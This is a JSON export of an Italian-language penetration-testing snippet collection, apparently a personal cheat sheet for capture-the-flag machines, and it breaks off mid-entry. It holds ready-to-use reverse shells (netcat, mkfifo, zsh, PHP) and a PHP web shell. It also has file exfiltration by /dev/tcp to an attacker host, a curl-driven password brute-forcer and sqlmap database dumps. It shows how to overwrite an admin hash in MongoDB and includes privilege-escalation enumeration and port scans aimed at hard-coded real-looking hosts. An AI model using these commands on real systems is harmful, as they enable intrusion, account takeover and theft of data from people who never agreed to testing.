[{"id":117,"category":"","language":"Standard Snip","title":null,"description":"Sostituisce cron nelle distribuzioni moderne, utile per trovare script avviati con privilegi root","code":"systemctl list-timers","order_in_cat":0,"is_main":1,"pen_element_related_id":null,"related_snip_ids":[]},{"id":49,"category":"Database","language":"Standard Snip","title":null,"description":"Per selezionare un valore nella tabella in postgres","code":"SELECT value FROM table_name;","order_in_cat":0,"is_main":0,"pen_element_related_id":null,"related_snip_ids":[]},{"id":48,"category":"Database","language":"Standard Snip","title":null,"description":"Comandi postgres:\\n\\l: lista database\\n\\c db_name: seleziona database\\n\\dt: lista delle tabelle\\n\\d tab_name: descrizione tabella\\n\\du: lista degli utenti","code":"\\l\\n\\c db_name\\n\\dt\\n\\d tab_name \\n\\du","order_in_cat":1,"is_main":0,"pen_element_related_id":null,"related_snip_ids":[]},{"id":47,"category":"Database","language":"Standard Snip","title":null,"description":"Connessione a database postgressql\\n-p la porta di default è 5432\\n-U utente","code":"psql -h $targetIp -p$attackerPort -U user","order_in_cat":2,"is_main":1,"pen_element_related_id":37,"related_snip_ids":[48,49]},{"id":38,"category":"Database","language":"Standard Snip","title":null,"description":"Connessione ad un host remoto","code":"mongo --port 27017 --host $targetIp","order_in_cat":3,"is_main":0,"pen_element_related_id":154,"related_snip_ids":[]},{"id":36,"category":"Database","language":"Standard Snip","title":null,"description":"Posso aggiornare una hash nel database nella entry con un dato id per cambiare la password di accesso.\\nL'hash dello stesso tipo creata con la mia password","code":"db.admin.update({\"_id\":ObjectId(\"61ce278f46e0fb0012d47ee4\")},{$set:{\"x_shadow\":\"$6$8Ngex2mLR2vJwheE$9PTUspwVq1Wh.sEg2oSzW5EcX7fKlDFzs1/2a1mLzYsYcVuyqajhucAo50s93GHHETRmQoe6MwYteWDtey2kQ1\"}})","order_in_cat":4,"is_main":0,"pen_element_related_id":154,"related_snip_ids":[]},{"id":35,"category":"Database","language":"Standard Snip","title":null,"description":"Inserisce una entry nel db","code":"db.apples.insertOne({type: \"Granny Smith\", price: 0.65})","order_in_cat":5,"is_main":0,"pen_element_related_id":154,"related_snip_ids":[]},{"id":31,"category":"Database","language":"Standard Snip","title":null,"description":"Connessione a mongodb locale","code":"mongo --port 27017","order_in_cat":6,"is_main":1,"pen_element_related_id":154,"related_snip_ids":[32,33,34,35,36,38]},{"id":25,"category":"Database","language":"Standard Snip","title":null,"description":"Per connettersi a db mysql su un host remoto\\n-p sta per password","code":"mysql -u root -h $targetIp -P $targetPort -p","order_in_cat":7,"is_main":1,"pen_element_related_id":96,"related_snip_ids":[]},{"id":34,"category":"Database","language":"Standard Snip","title":null,"description":"Mostra la lista degli utenti\\npretty() lo rende più facile da leggere","code":"db.admin.find().pretty()","order_in_cat":8,"is_main":0,"pen_element_related_id":154,"related_snip_ids":[]},{"id":33,"category":"Database","language":"Standard Snip","title":null,"description":"Mostra i databases\\nSeleziona i database\\nMostra le collections","code":"show databases\\nuse dbname\\nshow collections","order_in_cat":9,"is_main":0,"pen_element_related_id":154,"related_snip_ids":[]},{"id":32,"category":"Database","language":"Standard Snip","title":null,"description":"Mongosh è un tool per connessione a mongob","code":"mongosh mongodb://127.0.0.1:27017","order_in_cat":10,"is_main":0,"pen_element_related_id":154,"related_snip_ids":[]},{"id":99,"category":"Enumerazione Iniziale","language":"Standard Snip","title":null,"description":"Salva le porte aperte per poter usare dopo","code":"ports=$(sudo nmap -p- --min-rate=1000 -T4 $targetIp | grep '^[0-9]' | cut -d '/' -f 1 | tr '\\n' ',' | sed s/,$//)","order_in_cat":0,"is_main":1,"pen_element_related_id":115,"related_snip_ids":[]},{"id":98,"category":"Enumerazione Iniziale","language":"Standard Snip","title":null,"description":"Da usare dopo il comando che cerca le porte aperte","code":"sudo nmap -sC -sV -p$targetPort $targetIp","order_in_cat":1,"is_main":0,"pen_element_related_id":115,"related_snip_ids":[]},{"id":1,"category":"Enumerazione Iniziale","language":"Standard Snip","title":null,"description":"Scan su porte specifiche con script e versione","code":"sudo nmap -sC -sV -p$targetPort $targetIp","order_in_cat":3,"is_main":0,"pen_element_related_id":115,"related_snip_ids":[]},{"id":24,"category":"Enumerazione Iniziale","language":"Standard Snip","title":null,"description":"-F fa la scansione delle più comuni 100 porte anzichè 1000","code":"sudo nmap $targetIp -F","order_in_cat":4,"is_main":1,"pen_element_related_id":115,"related_snip_ids":[1,98,107]},{"id":107,"category":"Enumerazione Iniziale","language":"Standard Snip","title":null,"description":"Scan su tutte le porte\\nSe non metto -p- scansiona solo le 1000 più comuni","code":"sudo nmap -p- $targetIp","order_in_cat":6,"is_main":0,"pen_element_related_id":115,"related_snip_ids":[]},{"id":60,"category":"Enumerazione Web","language":"Standard Snip","title":null,"description":"Ricerca directory con gobuster","code":"gobuster dir --url http://$targetIp/ --wordlist /usr/share/wordlists/dirb/big.txt","order_in_cat":0,"is_main":0,"pen_element_related_id":130,"related_snip_ids":[]},{"id":124,"category":"Enumerazione Web","language":"Standard Snip","title":null,"description":"Avvia burp con autobind in modo che si possa collegare alle porte sotto 1024 senza doverlo avviare tutto con sudo","code":"authbind --deep /usr/bin/burpsuite &","order_in_cat":0,"is_main":1,"pen_element_related_id":null,"related_snip_ids":[]},{"id":39,"category":"Enumerazione Web","language":"Script Python 3","title":null,"description":"Curl Iteration\\nFile python per iterazione di password dentro un comando curl\\nNel comando curl sostituire ^USER^ per l'username ^PASS^ per password e inserire la stringa di condizione -S (successo) oppure -F (fallimento)","code":"import subprocess\\nimport sys, getopt\\nimport time\\n\\nclass bcolors:\\n    HEADER = '\\033[95m'\\n    OKBLUE = '\\033[94m'\\n    OKCYAN = '\\033[96m'\\n    OKGREEN = '\\033[92m'\\n    WARNING = '\\033[93m'\\n    FAIL = '\\033[91m'\\n    ENDC = '\\033[0m'\\n    BOLD = '\\033[1m'\\n    UNDERLINE = '\\033[4m'\\ndef runCurl(username, password, failure, success, curlCommand):\\n    curlCommandMod = curlCommand.replace(\"^USER^\", username)\\n    curlCommandMod = curlCommandMod.replace(\"^PASS^\", password)\\n    #result = subprocess.check_output(curlCommandMod, shell=True)\\n\\n    #print(curlCommandMod)\\n    #result = os.system(curlCommandMod)\\n\\n    result = subprocess.run(curlCommandMod, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True, text=True)\\n    #se non metto text=True devo decodificare lo stdout con .decode('ascii')\\n    output = result.stdout\\n    #print(\"RESULT: %s\" % (output))\\n    if len(failure) > 0:\\n        if failure not in output:\\n\\n            string = \"SUCCESS: \" + username + \":\" + password\\n            print(f\"{bcolors.OKGREEN}%s{bcolors.OKGREEN}\" %(string))\\n            return True\\n    elif len(success) > 0:\\n        if success in output:\\n            string = \"SUCCESS: \" + username + \":\" + password\\n            print(f\"{bcolors.OKGREEN}%s{bcolors.OKGREEN}\" % (string))\\n            return True\\n\\n    return False\\n\\n\\ndef main(argv):\\n    username = ''\\n    wordlist = ''\\n    curlCommand = ''\\n    failure = \"\"\\n    success = \"\"\\n    opts, args = getopt.getopt(argv,\"hu:w:F:S:c:\",[\"username=\",\"wlfile=\",\"failure=\",\"success=\",\"curlCommand=\"])\\n    for opt, arg in opts:\\n        if opt == '-h':\\n            print ('python3 CurlIterator.py -u username <-F failureString or -S SuccessString> -w <wordlist> -c curlCommand /nUse ^USER^ for username and ^PASS^ for password')\\n            sys.exit()\\n        elif opt in (\"-u\", \"--username\"):\\n            username = arg\\n        elif opt in (\"-w\", \"--wordlist\"):\\n            wordlist = arg\\n        elif opt in (\"-F\", \"--failure\"):\\n            failure = arg\\n        elif opt in (\"-S\", \"--success\"):\\n            success = arg\\n        elif opt in (\"-c\", \"--curlCommand\"):\\n            curlCommand = arg\\n\\n    #load password file\\n    arrayLines = []\\n    with open(wordlist) as file:\\n        for line in file:\\n            arrayLines.append(line.rstrip())\\n    indexLines = 0\\n    count = len(arrayLines)\\n    for i in range(count):\\n        outputString = \"Password testate per %s: %d - Completetato %.1f %%\" % (username, len(arrayLines),  (float(indexLines)/float(count)*100))\\n        if indexLines < len(arrayLines):\\n            password = arrayLines[indexLines]\\n            founded = runCurl(username, password, failure, success, curlCommand)\\n            if founded:\\n                break\\n        else:\\n            print(\"Test completed!\")\\n            break\\n        indexLines += 1\\n        time.sleep(0.1)\\n        if i == 9: #last try\\n            print(outputString)\\nif __name__ == \"__main__\":\\n    main(sys.argv[1:])","order_in_cat":1,"is_main":1,"pen_element_related_id":71,"related_snip_ids":[]},{"id":3,"category":"Enumerazione Web","language":"Standard Snip","title":null,"description":"Directory discovery \\nUsare filtri: c(code) s(size) w(word) l(lines) r(regexp)\\n-m (matcher)\\n-f (filter)\\n-fs 686 -> filtra per dimensioni","code":"ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-small.txt:FUZZ -u http://$targetIp:$targetPort/FUZZ","order_in_cat":2,"is_main":1,"pen_element_related_id":130,"related_snip_ids":[4,5,6]},{"id":63,"category":"Enumerazione Web","language":"Standard Snip","title":null,"description":"--level (1-5) estende i bonduaries e i vettori in base all'attesa di successo\\n--risk (1-3) estende il vettore in base al rischio di provocare problemi -> può provocare problemi come perdita di dati o denial-of-services","code":"sqlmap -u \"http://10.10.11.194/vuln.php?id=1\" --batch --dump --level 5 --risk 3","order_in_cat":2,"is_main":0,"pen_element_related_id":121,"related_snip_ids":[]},{"id":28,"category":"Enumerazione Web","language":"Standard Snip","title":null,"description":"FUNZIONA BENE\\nPer ricerca subdomains\\n--append-domain va aggiunto per dire di appendere il dominio nel formato s3.thetoppers.htb\\n-> se non trova provare quella più grande con 100000 domains\\nbitquark-subdomains-top100000.txt","code":"gobuster vhost -u http://$targetIp -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain","order_in_cat":3,"is_main":1,"pen_element_related_id":130,"related_snip_ids":[60]},{"id":2,"category":"Enumerazione Web","language":"Standard Snip","title":null,"description":"Directory discovery \\n-S silent mode\\nNon sempre le trova -> usare Gobuster con wordlist /dirb/big.txt","code":"dirb http://$targetIp:$targetPort -S -w /usr/share/wordlists/dirb/common.txt","order_in_cat":4,"is_main":1,"pen_element_related_id":130,"related_snip_ids":[]},{"id":10,"category":"Enumerazione Web","language":"Standard Snip","title":null,"description":"--data-raw mi permette di specificare contenuto post in formato json o xml","code":"sqlmap -u \"http://$targetIp/case4.php\" --data-raw '{\"id\":1*}' --batch --dump\\n","order_in_cat":5,"is_main":0,"pen_element_related_id":null,"related_snip_ids":[]},{"id":9,"category":"Enumerazione Web","language":"Standard Snip","title":null,"description":"-H per testare l’iniettabilità degli header, tipo i cookie","code":"sqlmap -u \"http://$targetIp/case3.php\" -H 'Cookie: id=1*' --batch --dump","order_in_cat":6,"is_main":0,"pen_element_related_id":null,"related_snip_ids":[]},{"id":8,"category":"Enumerazione Web","language":"Standard Snip","title":null,"description":"--data per le richieste post","code":"sqlmap -u \"http://$targetIp/case2.php\" --data 'id=1' -p id --batch --dump","order_in_cat":7,"is_main":0,"pen_element_related_id":null,"related_snip_ids":[]},{"id":6,"category":"Enumerazione Web","language":"Standard Snip","title":null,"description":"Fuzzing parametro POST: stesse opzioni di Curl\\n-X POST\\n-H 'Content-Type:  application/x-www-form-urlencoded' //header\\n-d ‘value=key’ //dati\\n-d ‘FUZZ=key’ //valore -> prima trovo il value e poi cerco la key (es lista da 1 a 1000)","code":"ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u http://$targetIp:$targetPort/admin/admin.php -X POST -H 'Content-Type: application/x-www-form-urlencoded' -d 'id=FUZZ' -fs xxx","order_in_cat":8,"is_main":0,"pen_element_related_id":null,"related_snip_ids":[]},{"id":7,"category":"Enumerazione Web","language":"Standard Snip","title":null,"description":"--batch per dare tutte le risposte e non interrompere il processo\\n--threads 10 velocizza il processo\\n--dbs enumera i database\\npoi posso usare --dump per fare il dump del database specificato con --dump -D databaseName\\n--privileges permette di vedere privilegi\\nSe ha privilegio FILE posso usare read file\\n--file-read=\"/etc/passwd\" permette di leggere file di sistema","code":"sqlmap -u \"http://$targetIp/vuln.php?id=1\" --batch --dbs --threads 10","order_in_cat":9,"is_main":1,"pen_element_related_id":121,"related_snip_ids":[8,9,10,63]},{"id":65,"category":"Enumerazione Web","language":"Standard Snip","title":null,"description":"Enumerazione dei linguaggi e delle versioni utilizzate dal server","code":"./wappy -u http://$targetIp","order_in_cat":10,"is_main":1,"pen_element_related_id":164,"related_snip_ids":[]},{"id":4,"category":"Enumerazione Web","language":"Standard Snip","title":null,"description":"SPESSO NON FUNZIONA, MEGLIO GOBUSTER\\nRicerca sottodomini\\n-H specifica il dominio, in questo modo non devo specificarlo su /etc/hosts\\nPer visitare i risultati devo aggiungerli a /etc/host","code":"ffuf -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt:FUZZ -u http://$targetIp:$targetPort/ -H 'Host: FUZZ.academy.htb'","order_in_cat":11,"is_main":0,"pen_element_related_id":null,"related_snip_ids":[]},{"id":5,"category":"Enumerazione Web","language":"Standard Snip","title":null,"description":"Fuzzing parametro GET","code":"ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u http://admin.academy.htb:$targetPort/admin.php?FUZZ=key -fs xxx","order_in_cat":12,"is_main":0,"pen_element_related_id":null,"related_snip_ids":[]},{"id":73,"category":"File Transfer","language":"Standard Snip","title":null,"description":"Crea un server http da cui posso scaricare file con wget","code":"sudo python3 -m http.server 8080","order_in_cat":0,"is_main":1,"pen_element_related_id":112,"related_snip_ids":[]},{"id":86,"category":"File Transfer","language":"Standard Snip","title":null,"description":"Scarica una shell dal server che creo con python\\n-O maiuscolo specifica il path del file\\n-o salva l'output ovvero i dati di connessione in un file","code":"wget http://$attackerIp:$attackerPort/shell.sh -O /tmp/shell.sh","order_in_cat":1,"is_main":1,"pen_element_related_id":112,"related_snip_ids":[]},{"id":74,"category":"File Transfer","language":"Standard Snip","title":null,"description":"Invia il file all'ip e porta dove mi metto in ascolto con nc\\nnc -lnvp 2222 > file.db","code":"cat file.db > /dev/tcp/$attackerIp/$attackerPort","order_in_cat":2,"is_main":1,"pen_element_related_id":112,"related_snip_ids":[]},{"id":75,"category":"File Transfer","language":"Standard Snip","title":null,"description":"Metto in ascolto su macchina attaccante con nc per ricevere un file","code":"nc -lnvp 2222 > file.db","order_in_cat":3,"is_main":1,"pen_element_related_id":112,"related_snip_ids":[]},{"id":88,"category":"Linux Priv Esc","language":"Standard Snip","title":null,"description":"Cerca per nome gruppo apparteneti a root\\n-group nomeDelGruppo","code":"find / -user root -group nomeGruppo -type d -perm -o+w 2>/dev/null","order_in_cat":0,"is_main":0,"pen_element_related_id":213,"related_snip_ids":[]},{"id":113,"category":"Linux Priv Esc","language":"Standard Snip","title":null,"description":"Trovo i processi e devo chiedermi\n1. Chi lo esegue? (root?)\n2. È un programma di sistema o personalizzato?\n3. Posso modificare il file che esegue?\n4. Legge file o directory che posso influenzare?\n5. Ha argomenti con credenziali?\n6. Ha capability o è SUID?","code":"ps aux","order_in_cat":0,"is_main":1,"pen_element_related_id":null,"related_snip_ids":[]},{"id":114,"category":"Linux Priv Esc","language":"Standard Snip","title":null,"description":"Cerco:\n- script custom scrivibili tipo backup con -rwxrwxrwx\n- directory scivibili\n- Wildcard: tar -czf backup.tar.gz * -> Se puoi creare file con nomi particolari puoi sfruttare la wildcard expansion di tar.\n- path: Se il PATH è mal configurato puoi far eseguire il tuo binario.","code":"crontab -l","order_in_cat":0,"is_main":1,"pen_element_related_id":220,"related_snip_ids":[89,115,116]},{"id":115,"category":"Linux Priv Esc","language":"Standard Snip","title":null,"description":"Cron di root","code":"cat /etc/crontab","order_in_cat":0,"is_main":0,"pen_element_related_id":220,"related_snip_ids":[]},{"id":116,"category":"Linux Priv Esc","language":"Standard Snip","title":null,"description":"Directory cron come\n/etc/cron.daily\n/etc/cron.hourly\n/etc/cron.weekly\n/etc/cron.monthly","code":"ls -la /etc/cron*","order_in_cat":0,"is_main":0,"pen_element_related_id":220,"related_snip_ids":[]},{"id":118,"category":"Linux Priv Esc","language":"Standard Snip","title":null,"description":"File scrivibili","code":"find / -writable -type f 2>/dev/null","order_in_cat":0,"is_main":1,"pen_element_related_id":null,"related_snip_ids":[119,120]},{"id":119,"category":"Linux Priv Esc","language":"Standard Snip","title":null,"description":"Directory scrivibili\n/opt\n/usr/local\n/var/www\n/home\n/tmp","code":"find / -writable -type d 2>/dev/null","order_in_cat":0,"is_main":0,"pen_element_related_id":null,"related_snip_ids":[]},{"id":120,"category":"Linux Priv Esc","language":"Standard Snip","title":null,"description":"File e directory possedute da root e scrivibili","code":"find / -user root -writable 2>/dev/null","order_in_cat":0,"is_main":0,"pen_element_related_id":null,"related_snip_ids":[]},{"id":82,"category":"Linux Priv Esc","language":"Standard Snip","title":null,"description":"Cerca file writable\\n-perm -o+w","code":"find / -path /proc -prune -o -type f -perm -o+w 2>/dev/null","order_in_cat":1,"is_main":0,"pen_element_related_id":213,"related_snip_ids":[]},{"id":81,"category":"Linux Priv Esc","language":"Standard Snip","title":null,"description":"Cerca directory writable\\n-perm -o+w","code":"find / -path /proc -prune -o -type d -perm -o+w 2>/dev/null","order_in_cat":2,"is_main":0,"pen_element_related_id":213,"related_snip_ids":[]},{"id":80,"category":"Linux Priv Esc","language":"Standard Snip","title":null,"description":"Cercare file con permessi SETGID 4000\\n-exec ls -ldb {} \\; permette di eseguire il comando sui risultati","code":"find / -user root -perm -6000 -exec ls -ldb {} \\; 2>/dev/null","order_in_cat":3,"is_main":0,"pen_element_related_id":213,"related_snip_ids":[]},{"id":79,"category":"Linux Priv Esc","language":"Standard Snip","title":null,"description":"Cercare file con permessi SETUID 4000\\n-exec ls -ldb {} \\; permette di eseguire il comando sui risultati","code":"find / -user root -perm -4000 -exec ls -ldb {} \\; 2>/dev/null","order_in_cat":4,"is_main":0,"pen_element_related_id":213,"related_snip_ids":[]},{"id":78,"category":"Linux Priv Esc","language":"Standard Snip","title":null,"description":"Cercare file appartenenti a utente root con privilegi del gruppo a cui appartengo\\n-user root\\n-group nomeGruppo\\n","code":"find / -type f -group nomeGruppo -user root -exec ls -ldb {} \\; 2>/dev/null","order_in_cat":5,"is_main":0,"pen_element_related_id":213,"related_snip_ids":[]},{"id":77,"category":"Linux Priv Esc","language":"Standard Snip","title":null,"description":"Cercare file con permessi GUID","code":"find / -perm -g=s -type f -exec ls -ldb {} \\; 2>/dev/null","order_in_cat":6,"is_main":0,"pen_element_related_id":213,"related_snip_ids":[]},{"id":71,"category":"Linux Priv Esc","language":"Standard Snip","title":null,"description":"Mostra la lista dei servizi","code":"dpkg -l","order_in_cat":7,"is_main":0,"pen_element_related_id":217,"related_snip_ids":[]},{"id":70,"category":"Linux Priv Esc","language":"Standard Snip","title":null,"description":"Mostra porte aperte internamente ai vari servizi anche non accessibili dall'esterno","code":"netstat -antup","order_in_cat":8,"is_main":0,"pen_element_related_id":217,"related_snip_ids":[]},{"id":69,"category":"Linux Priv Esc","language":"Standard Snip","title":null,"description":"Permette di vedere porte aperte in ascolto","code":"netstat -l","order_in_cat":9,"is_main":0,"pen_element_related_id":217,"related_snip_ids":[]},{"id":68,"category":"Linux Priv Esc","language":"Standard Snip","title":null,"description":"Permette di vedere processi avviati da root","code":"ps aux | grep root","order_in_cat":10,"is_main":0,"pen_element_related_id":217,"related_snip_ids":[]},{"id":67,"category":"Linux Priv Esc","language":"Standard Snip","title":null,"description":"Tool che permette di monitorare processi da una macchina senza privilegi","code":"./pspy","order_in_cat":11,"is_main":1,"pen_element_related_id":217,"related_snip_ids":[68,69,70,71]},{"id":66,"category":"Linux Priv Esc","language":"Standard Snip","title":null,"description":"Permette di vedere kernel per la ricerca di exploit","code":"uname -a","order_in_cat":12,"is_main":1,"pen_element_related_id":213,"related_snip_ids":[]},{"id":64,"category":"Linux Priv Esc","language":"Standard Snip","title":null,"description":"Mostra i comandi che possono essere avviati come root dall'utente attuale\\nTra parentesi c'è l'utente che può usarlo, se c'è (deploy)\\nsudo -u deploy comando\\n","code":"sudo -l","order_in_cat":13,"is_main":1,"pen_element_related_id":215,"related_snip_ids":[]},{"id":83,"category":"Linux Priv Esc","language":"Standard Snip","title":null,"description":"Cercare file di un certo tipo con nomi particolari\\n-name *.conf *.db (db è database sqlite3)\\n-user root\\n-size +20k\\n-perm -g=s permessi (-u -g -o rwxs)\\n-newermt 2020-03-03 #data di modifica\\n-exec ls -la {} \\; esegue il comando specificato per ogni risultato","code":"find / -type f -name *.db -user root -perm -g=s -exec ls -al {} \\; 2>/dev/null","order_in_cat":14,"is_main":1,"pen_element_related_id":213,"related_snip_ids":[]},{"id":76,"category":"Linux Priv Esc","language":"Standard Snip","title":null,"description":"Cercare file con permessi SUID\\n-exec ls -ldb {} \\; esegue il comando specificato per ogni risultato","code":"find / -perm -u=s -type f -exec ls -ldb {} \\; 2>/dev/null","order_in_cat":15,"is_main":1,"pen_element_related_id":213,"related_snip_ids":[77,78,79,80,81,82,88]},{"id":89,"category":"Linux Priv Esc","language":"Standard Snip","title":null,"description":"Cercare file con permessi di scrittura nei file chron\\n-perm -2 permessi di scrittura\\nProvare anche le directory:\\n/var/spool/cron\\n/etc/crontab\\n/etc/spool/cron/crontabs/root\\n/etc/cron.daily","code":"find /etc/cron.d -perm -2 -type f -exec ls -ldb {} \\; 2>/dev/null","order_in_cat":16,"is_main":0,"pen_element_related_id":213,"related_snip_ids":[]},{"id":100,"category":"Others","language":"Standard Snip","title":null,"description":"Contiene elementi che non sono main e per sbaglio ho tolto lo snip code related","code":"No main snip code","order_in_cat":0,"is_main":1,"pen_element_related_id":null,"related_snip_ids":[]},{"id":72,"category":"Password Cracking","language":"Standard Snip","title":null,"description":"A volte funziona meglio di hashid e da una più probabile","code":"hash-identifier 6ebcea...75995","order_in_cat":0,"is_main":1,"pen_element_related_id":141,"related_snip_ids":[]},{"id":61,"category":"Password Cracking","language":"Standard Snip","title":null,"description":"Per identificare tipo di hash\\n-j da il formato per john the ripper\\n-m da il mode per hashcat","code":"hashid $2a$10$SpKYdHL...iouherqwh","order_in_cat":1,"is_main":1,"pen_element_related_id":142,"related_snip_ids":[]},{"id":12,"category":"Password Cracking","language":"Standard Snip","title":null,"description":"Attacco semplice\\n-m mode da usare per il tipo di hash\\nhttps://hashcat.net/wiki/doku.php?id=example_hashes\\nATTENZIONE: Provare anche nel formato file con le sole hash e non name:hash","code":"hashcat -a 0 -m <mode> hash.txt /usr/share/wordlists/rockyou.txt","order_in_cat":2,"is_main":1,"pen_element_related_id":142,"related_snip_ids":[13,14,104,105]},{"id":11,"category":"Password Cracking","language":"Standard Snip","title":null,"description":"Le hash vanno messe in formato\\nuser:hash\\nSu Mac la wordlist è:\\n/Users/alex/Pentesting \\Mac/rockyou.txt","code":"john --wordlist=/usr/share/wordlists/rockyou.txt hashfile.txt","order_in_cat":3,"is_main":1,"pen_element_related_id":145,"related_snip_ids":[]},{"id":14,"category":"Password Cracking","language":"Standard Snip","title":null,"description":"-a 3: Fornisce un pattern per crackare la password. Ci sono vari placeholder:\\n?d digits\\n?l lower-case\\nPosso aggiungerle di nuovi con\\n-1 02 nel testo lo metto come ?1","code":"hashcat -a 3 -m 0 '50a742905949102c961929823a2e8ca0' -1 02 'HASHCAT?l?l?l?l?l20?1?d'","order_in_cat":4,"is_main":0,"pen_element_related_id":null,"related_snip_ids":[]},{"id":13,"category":"Password Cracking","language":"Standard Snip","title":null,"description":"-a 1: Combina due wordlist","code":"hashcat -a 1 -m <mode> <hash file> <wordlist1> <wordlist2>","order_in_cat":5,"is_main":0,"pen_element_related_id":null,"related_snip_ids":[]},{"id":30,"category":"Python","language":"Standard Snip","title":null,"description":"Apro un server python con python 3 nella cartella in cui lo avvio\n--bind <ip address>: per collegare una specifica interfaccia altrimenti si apre su tutte le interfacce (es solo l’ip del wan o solo dell’eth)","code":"sudo python -m http.server 80","order_in_cat":0,"is_main":1,"pen_element_related_id":67,"related_snip_ids":[]},{"id":22,"category":"Python","language":"Script Python 3","title":null,"description":"Connection HTTP\\nProva di connessione HTTP","code":"import http.client\\n\\n#http.client\\nprint(\"-------------------------------\")\\nprint(\"HTTP http.client:\")\\n\\nconnessione = http.client.HTTPConnection(\"hr.eurosanita.it\")\\nconnessione.request(\"GET\", \"/HRPortal/jsp/home.jsp\")\\nresponse = connessione.getresponse()\\nprint(\"status: \" + str(response.status))\\nprint(\"reason: \" + response.reason)\\nprint(\"http.dati:\")\\ndati = response.read()\\n\\nprint(dati.decode())\\n\\nprint(\"-------------------------------\")\\n#ottengo gli headers\\nprint(\"http.header:\")\\nheaders = response.headers\\nprint(headers)\\nprint(\"-------------------------------\")\\nprint(\"http User-agent:\")\\nuserAgent = response.getheader(\"User-agent\")\\nprint(userAgent)\\n\\nprint(\"-------------------------------\")\\nprint(\"-------------------------------\")\\n","order_in_cat":1,"is_main":1,"pen_element_related_id":67,"related_snip_ids":[]},{"id":87,"category":"Python","language":"Script Python 3","title":null,"description":"Socket TCP Server\\nServer socket TCP in ascolto","code":"import socket\\n\\ndef run_server():\\n    # create a socket object\\n    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\\n\\n    server_ip = \"$attackerIp\"\\n    port = $attackerPort\\n\\n    # bind the socket to a specific address and port\\n    server.bind((server_ip, port))\\n    # listen for incoming connections\\n    server.listen(0)\\n    print(f\"Listening on {server_ip}:{port}\")\\n\\n    # accept incoming connections\\n    client_socket, client_address = server.accept()\\n    print(f\"Accepted connection from {client_address[0]}:{client_address[1]}\")\\n\\n    # receive data from the client\\n    while True:\\n        request = client_socket.recv(1024)\\n        request = request.decode(\"utf-8\") # convert bytes to string\\n        \\n        # if we receive \"close\" from the client, then we break\\n        # out of the loop and close the conneciton\\n        if request.lower() == \"close\":\\n            # send response to the client which acknowledges that the\\n            # connection should be closed and break out of the loop\\n            client_socket.send(\"closed\".encode(\"utf-8\"))\\n            break\\n\\n        print(f\"Received: {request}\")\\n\\n        response = \"accepted\".encode(\"utf-8\") # convert string to bytes\\n        # convert and send accept response to the client\\n        client_socket.send(response)\\n\\n    # close connection socket with the client\\n    client_socket.close()\\n    print(\"Connection to client closed\")\\n    # close server socket\\n    server.close()\\n\\n\\nrun_server()","order_in_cat":2,"is_main":1,"pen_element_related_id":63,"related_snip_ids":[]},{"id":21,"category":"Python","language":"Script Python 3","title":null,"description":"Socket TCP Client\\nProva di connessione a una specifica porta e ip","code":"import socket\\ndef portScannerWithSocket(ip_address, startPort, endPort):\\n for port in range(startPort,endPort):\\n  mySocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\\n  mySocket.settimeout(10)\\n  scan = mySocket.connect_ex((ip_address,port))#connect_ex da 0 se si connette e codice di errore se non si connette\\n  if scan == 0:\\n   print(\"Porta {} APERTA\", format(port))\\n  else:\\n   print(\"porta %d chiusa\" %port)\\n  mySocket.close()\\n  \\nportScannerWithSocket(\"2.231.198.9\", 1, 85)","order_in_cat":3,"is_main":1,"pen_element_related_id":67,"related_snip_ids":[]},{"id":20,"category":"Python","language":"Script Python 3","title":null,"description":"Hello python\\nProva di un comando python che scrive hello\\nDa provare","code":"import time\\ndef main():\\n    h = \"hello world 0\"\\n    print(h)\\n    time.sleep(2)\\n    print(\"1\")\\n    time.sleep(2)\\n    print(\"2\")\\n\\nmain()","order_in_cat":4,"is_main":1,"pen_element_related_id":63,"related_snip_ids":[]},{"id":95,"category":"Reverse Shells","language":"Standard Snip","title":null,"description":"Netcat per Linux \\nAprire una reverse shell verso l'attaccante","code":"nc -e /bin/bash $attackerIp $attackerPort ","order_in_cat":0,"is_main":1,"pen_element_related_id":117,"related_snip_ids":[]},{"id":109,"category":"Reverse Shells","language":"Standard Snip","title":null,"description":"Listener su Mac","code":"nc -lv $attackerPort","order_in_cat":0,"is_main":0,"pen_element_related_id":null,"related_snip_ids":[]},{"id":110,"category":"Reverse Shells","language":"Standard Snip","title":null,"description":"Connessione con netcat se non c’è l’opzione -e, reindirizzando i descriptor con FIFO","code":"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $attackerIp $attackerPort >/tmp/f","order_in_cat":0,"is_main":1,"pen_element_related_id":102,"related_snip_ids":[]},{"id":111,"category":"Reverse Shells","language":"Standard Snip","title":null,"description":"Stabilizzare la shell con python","code":"python3 -c 'import os; os.system(\"/bin/sh\")'\n","order_in_cat":0,"is_main":0,"pen_element_related_id":102,"related_snip_ids":[]},{"id":112,"category":"Reverse Shells","language":"Standard Snip","title":null,"description":"Analogo per mac al socket /dev/tcp\nQuesto carica il modulo tcp e avvia stcp che crea il socket (nella variabile $REPLY) e lo attacca al file descriptor che salvo in $fd\nzmodload zsh/net/tcp; ztcp $attackerIp $attackerPort; fd=$REPLY;\nPoi collego i file descriptor 0, 1 e 2 (stdin, stdout e stderr) a $fd","code":"zmodload zsh/net/tcp; ztcp $attackerIp $attackerPort; fd=$REPLY; /bin/bash -i <&$fd >&$fd 2>&$fd","order_in_cat":0,"is_main":1,"pen_element_related_id":102,"related_snip_ids":[]},{"id":122,"category":"Reverse Shells","language":"Standard Snip","title":null,"description":"Shell php","code":"php -r '$sock=fsockopen(\"$attackerIp\",$attackerPort);exec(\"/bin/sh -i <&3 >&3 2>&3\");'","order_in_cat":0,"is_main":1,"pen_element_related_id":null,"related_snip_ids":[]},{"id":94,"category":"Reverse Shells","language":"Script PHP","title":null,"description":"Esecuzione comandi da web\\nPosso creare una pagina che prende comandi con get cmd, per usarla\\nhttp://server/path/to/page.php?\\ncmd=comando","code":"<?php system($_GET['cmd']);?>","order_in_cat":1,"is_main":0,"pen_element_related_id":103,"related_snip_ids":[]},{"id":59,"category":"Reverse Shells","language":"Standard 